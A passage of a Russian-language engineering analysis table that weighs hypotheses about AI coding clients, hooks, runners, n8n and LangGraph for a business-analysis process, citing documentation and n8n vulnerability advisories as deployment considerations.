([L54](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L54)), ADR-019 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 MCP \u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u043d\u043e \u043d\u0435 \u043a\u0430\u043a \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a ([L96](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L96)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 `next` \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u043a\u0430\u043a \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0432\u0445\u043e\u0434, \u043d\u043e runner \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u043d\u0435\u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u043c\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0443 |\\n| \u0413-39 | Hooks \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043c\u043e\u0433\u0443\u0442 \u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0448\u0430\u0433\u043e\u0432 | Hook \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432: Cline \u2014 `cancel: true` ([\u043f\u0440\u0438\u043c\u0435\u0440 SDK](https://github.com/cline/cline/blob/main/sdk/examples/hooks/PreToolUse_BlockDestructive.sh)), Gemini CLI \u2014 \u043a\u043e\u0434 \u0432\u044b\u0445\u043e\u0434\u0430 2 ([hooks](https://geminicli.com/docs/hooks/)), Qwen Code \u2014 `permissionDecision: deny` ([hooks](https://qwenlm.github.io/qwen-code-docs/en/users/features/hooks/)). \u0417\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433 hook \u043d\u0435 \u043c\u043e\u0436\u0435\u0442. \u0423 GigaCode CLI hooks \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b ([\u0413-42](#\u0433-42)); hooks \u043f\u0430\u043a\u0435\u0442\u0430 Cline \u043d\u0430 Windows \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f ([\u0413-10 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-10)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** Hook \u2014 \u0441\u0442\u0440\u0430\u0436, \u0430 \u043d\u0435 \u0432\u0435\u0434\u0443\u0449\u0438\u0439. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0437\u0430\u043f\u0440\u0435\u0442\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 `runs/` \u043c\u0438\u043c\u043e runner |\\n| \u0413-40 | \u0421\u0440\u0435\u0434\u0430\u043c 1 \u0438 2 \u043d\u0443\u0436\u043d\u044b \u0440\u0430\u0437\u043d\u044b\u0435 runner'\u044b | \u0421\u0435\u0439\u0447\u0430\u0441 \u0438\u0445 \u0434\u0432\u0430: [`run-task.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py) \u0441 \u0433\u0440\u0430\u0444\u043e\u043c RG-BCREQ-v1 \u0438 [`run_task.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/run_task.py) \u0441 \u043e\u0434\u043d\u0438\u043c \u043e\u0442\u0440\u0435\u0437\u043a\u043e\u043c Working \u2192 Release. \u041b\u043e\u0433\u0438\u043a\u0430 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0442\u043e\u0433\u043e, \u043a\u0442\u043e \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a; \u0441\u0440\u0435\u0434\u0430 4 \u0437\u0430\u0434\u0443\u043c\u0430\u043d\u0430 \u00ab\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0439 \u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438\u00bb ([ADR-019 L94](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L94)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0432 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0435 \u0432 \u043e\u0431\u0430 \u043f\u0430\u043a\u0435\u0442\u0430; \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0430\u0434\u0430\u043f\u0442\u0435\u0440 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0442\u0435\u043a\u0441\u0442\u044b \u0434\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 |\\n| \u0413-41 | \u041a\u043b\u0438\u0435\u043d\u0442\u044b \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b, \u0432 \u043d\u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043b\u043e\u0433\u0438\u043a\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 | Roo Code \u0432 \u0430\u0440\u0445\u0438\u0432\u0435, \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0432\u044b\u043f\u0443\u0441\u043a v3.54.0 \u043e\u0442 2026-05-15 ([\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439](https://github.com/RooCodeInc/Roo-Code)); \u0440\u0435\u0436\u0438\u043c Orchestrator \u0432 Kilo Code \u0443\u0441\u0442\u0430\u0440\u0435\u043b ([docs](https://kilo.ai/docs/code-with-ai/agents/orchestrator-mode)); Gemini CLI \u0441 2026-06-18 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043b\u0430\u0442\u043d\u044b\u0435 \u0438 Enterprise-\u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b ([Google](https://developers.googleblog.com/an-important-update-transitioning-gemini-cli-to-antigravity-cli/)); Cline v4 \u0441\u043c\u0435\u043d\u0438\u043b \u0438\u043c\u0435\u043d\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0438 hook \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b \u0438\u0445 \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c ([\u0413-11 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-11)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u0412\u0441\u0451, \u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0436\u0438\u0442\u044c \u0441\u043c\u0435\u043d\u0443 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u0436\u0438\u0432\u0451\u0442 \u0432 Source \u0438 runner |\\n| \u0413-42 | \u041f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 GigaCode CLI \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b | \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 GigaCode \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u044b IDE ([gitverse](https://gitverse.ru/features/gigacode/install/)); CLI \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u043f\u043e \u0430\u043d\u043e\u043d\u0441\u0443 \u0432\u043e \u0432\u0442\u043e\u0440\u0438\u0447\u043d\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 ([seonews](https://m.seonews.ru/events/sber-predstavil-gigacode-cli-ii-razrabotchik-teper-rabotaet-iz-komandnoy-stroki/)); \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 hooks \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 | \u041d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e | \u041d\u0438\u0437\u043a\u0430\u044f | **\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c** \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435: \u0432\u0435\u0440\u0441\u0438\u044f, hooks, \u0437\u0430\u043f\u0443\u0441\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0431\u0435\u0437 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f |\\n| \u0413-43 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e | \u0421\u0440\u0435\u0434\u0430 2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API ([ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)); \u043a\u043b\u0438\u0435\u043d\u0442 OpenAI \u0434\u043b\u044f Python \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 `base_url` ([openai-python](https://github.com/openai/openai-python)). \u0412 \u0441\u0440\u0435\u0434\u0435 1 API Mango AI \u043d\u0435\u0442 ([issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615)). \u0421\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0441\u044f | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c** \u0434\u043e\u0441\u0442\u0443\u043f \u043a endpoint Mango AI \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u043e \u0432\u044b\u0431\u043e\u0440\u0430 \u0441\u0440\u0435\u0434\u044b 4 |\\n\\n### \u0417. \u0421\u043b\u043e\u0439 3: \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n\\n| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n|---|----------|----------------|--------|-------------|--------------|\\n| \u0413-44 | n8n \u2014 \u0431\u043e\u043b\u0435\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 | \u0417\u0430: \u043f\u0430\u0443\u0437\u044b \u043d\u0430 \u0434\u043d\u0438 ([\u0413-46](#\u0433-46)), OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 ([\u0413-45](#\u0433-45)), \u0444\u043e\u0440\u043c\u044b, \u0447\u0430\u0442, Jira, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Server ([Jira](https://docs.n8n.io/integrations/builtin/credentials/jira.md)), Git ([docs](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.git.md)). \u041f\u0440\u043e\u0442\u0438\u0432: \u0433\u0440\u0430\u0444 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 n8n ([\u0413-47](#\u0433-47)); Python \u0432 \u0443\u0437\u043b\u0435 Code \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 ([Code](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.code.md)); \u043f\u0430\u0440\u0441\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0433\u043e \u0432\u044b\u0432\u043e\u0434\u0430 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 `$ref` ([docs](https://docs.n8n.io/integrations/builtin/cluster-nodes/sub-nodes/n8n-nodes-langchain.outputparserstructured.md)), \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u043f\u0430\u043a\u0435\u0442\u0430 \u043d\u0430 \u043d\u0451\u043c \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u044b; \u0443\u0437\u0435\u043b Confluence \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f Cloud ([docs](https://docs.n8n.io/integrations/builtin/app-nodes/n8n-nodes-base.confluence.md)); \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 ([\u0413-48](#\u0433-48)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** n8n \u2014 \u043a\u0430\u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439 \u0438 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u043f\u043e\u0432\u0435\u0440\u0445 API runner (\u0412-7), \u043d\u0435 \u043a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 |\\n| \u0413-45 | n8n \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u044c\u044e \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 | \u0423\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 OpenAI \u0432 n8n \u0438\u043c\u0435\u044e\u0442 \u043f\u043e\u043b\u0435 `Base URL` ([\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434](https://github.com/n8n-io/n8n/blob/master/packages/nodes-base/credentials/OpenAiApi.credentials.ts)); \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044f \u043d\u0435\u0442. \u0420\u0430\u0431\u043e\u0442\u0430 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0442\u0435\u043b\u044f \u00abUse Responses API\u00bb \u0441 `/chat/completions` \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** \u0414\u0435\u0440\u0436\u0430\u0442\u044c Responses API \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c; \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430 \u0441\u0442\u0435\u043d\u0434\u0435 |\\n| \u0413-46 | n8n \u0443\u043c\u0435\u0435\u0442 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u0430\u0443\u0437\u0443 \u0434\u043d\u044f\u043c\u0438 | \u0423\u0437\u0435\u043b Wait \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043f\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438, webhook \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0435; \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0434\u043e\u043b\u044c\u0448\u0435 65 \u0441 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0431\u0430\u0437\u0435 ([Wait](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.wait.md)); \u0447\u0430\u0442 \u0443\u043c\u0435\u0435\u0442 \u00abSend and Wait for Response\u00bb \u0441 \u043a\u043d\u043e\u043f\u043a\u0430\u043c\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f ([Chat](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-langchain.chat.md)) | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c** \u043a\u0430\u043a \u043a\u0430\u043d\u0430\u043b \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u0412-7 |\\n| \u0413-47 | \u0412 n8n \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0418\u0418-\u0443\u0437\u043b\u043e\u0432 | \u0423\u0437\u0435\u043b AI Agent: \u00abthe agent decides which tools to call\u00bb ([docs](https://docs.n8n.io/integrations/builtin/cluster-nodes/root-nodes/n8n-nodes-langchain.agent.md)). \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u2014 Basic LLM Chain \u0441\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u0432\u044b\u0432\u043e\u0434\u043e\u043c \u043f\u043b\u044e\u0441 \u0443\u0437\u043b\u044b \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f ([docs](https://docs.n8n.io/integrations/builtin/cluster-nodes/root-nodes/n8n-nodes-langchain.chainllm.md)), \u043d\u043e \u0442\u043e\u0433\u0434\u0430 \u0433\u0440\u0430\u0444 Source \u0440\u0438\u0441\u0443\u0435\u0442\u0441\u044f \u0432\u0442\u043e\u0440\u043e\u0439 \u0440\u0430\u0437 \u0432 JSON n8n ([\u044d\u043a\u0441\u043f\u043e\u0440\u0442](https://docs.n8n.io/build/manage-workflows/export-and-import.md)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** \u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c AI Agent \u0434\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430; \u0433\u0440\u0430\u0444 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 Source |\\n| \u0413-48 | n8n \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0440\u044f\u0434\u043e\u043c \u0441 Jira \u0438 Confluence \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0440 \u0437\u0430\u0449\u0438\u0442\u044b | CVE-2026-21858, CVSS 10.0, \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 ([Rapid7](https://www.rapid7.com/blog/post/etr-ni8mare-n8scape-flaws-multiple-critical-vulnerabilities-affecting-n8n/)); \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u041a\u0430\u043d\u0430\u0434\u044b ([AL26-001](https://www.cyber.gc.ca/en/alerts-advisories/al26-001-vulnerabilities-affecting-n8n-cve-2026-21858-cve-2026-21877-cve-2025-68613)); \u0441\u0435\u0440\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u0430\u0440\u0442\u0430 2026 ([The Hacker News](https://thehackernews.com/2026/03/critical-n8n-flaws-allow-remote-code.html)); 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\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u0441 Git, SSO \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 Community \u043d\u0435\u0442 ([\u0444\u0443\u043d\u043a\u0446\u0438\u0438 Community](https://docs.n8n.io/deploy/host-n8n/community-edition-features.md)), \u0442\u0430\u0440\u0438\u0444 Business \u2014 667 \u20ac \u0432 \u043c\u0435\u0441\u044f\u0446 ([\u0446\u0435\u043d\u044b](https://n8n.io/pricing/)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u0411\u0435\u0437 Git-\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0436\u0438\u0432\u0443\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 Source \u2014 \u044d\u0442\u043e \u0434\u043e\u0432\u043e\u0434 \u0437\u0430 \u0412-7, \u0430 \u043d\u0435 \u0412-6 |\\n| \u0413-50 | \u041f\u043b\u0430\u043d n8n \u0438\u0437 \u043c\u0430\u044f 2026 \u0431\u044b\u043b \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 \u043f\u043e \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f\u043c | \u042d\u0442\u0430\u043f 4 \u00abn8n-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f\u00bb ([L275-L283](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-rag-mapping-roadmap.md#L275-L283)) \u0438 \u0443\u0437\u043b\u044b n8n \u043f\u043e \u044d\u0442\u0430\u043f\u0430\u043c ([L425-L437](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-requirements-lifecycle-uncertainty.md#L425-L437)); \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` n8n \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 ([L191](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193)); \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u0418\u0434\u0435\u044f, \u0441\u043d\u044f\u0442\u0430\u044f \u0431\u0435\u0437 \u043e\u0446\u0435\u043d\u043a\u0438, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u2014 \u043a\u0430\u043a \u0441\u0435\u0439\u0447\u0430\u0441. \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u043c \u043d\u0443\u0436\u0435\u043d \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 |\\n| \u0413-51 | LangGraph \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0432 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u043a\u043e\u043d\u0442\u0443\u0440\u0435 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e | \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u2014 MIT ([LICENSE](https://github.com/langchain-ai/langgraph/blob/main/LICENSE)), \u043f\u0430\u0443\u0437\u0430 `interrupt()` \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 `Command(resume=\u2026)` ([docs](https://docs.langchain.com/oss/python/langgraph/interrupts)), \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0432 Postgres 